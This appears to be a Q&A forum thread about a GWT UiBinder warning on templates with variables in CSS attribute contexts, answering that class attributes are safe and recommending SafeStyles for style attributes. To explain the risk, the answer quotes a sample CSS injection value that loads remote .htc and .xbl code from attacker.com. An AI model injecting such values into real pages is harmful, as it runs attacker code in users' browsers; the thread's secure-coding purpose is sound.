Im using obfuscated styles eg.
<ui:style>
.explanation {
text-align: center;
}
</ui:style>
...
<g:HTMLPanel>
<div class="{style.explanation}">
...
Is this bad practice?
It looks ok when I check the HTML, or perhaps I'm misunderstanding the warning..
Im getting the following warning in Development Mode with GWT :
Template with variable in CSS attribute context:
The template code generator cannot guarantee HTML-safety of the template
-- please inspect manually or use SafeStyles to specify arguments in a CSS attribute context
class
is not a "CSS attribute context", only style
is (and <style>
); so I doubt the warning comes from the code you showed (which is exactly how things are meant to be used, so not a bad practice at all).
The warning appears when you have things like style='width: {foo}; height: {bar}'
, because there's no guarantee (at compile-time) that foo
or bar
won't contain something like 100%; behavior: url(http://attacker.com/injection.htc); -moz-binding: url(http://attacker.com/injection.xbl)
. In that case, you should rather use style='{myStyle}'
where myStyle
is an instance of SafeStyles
.
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With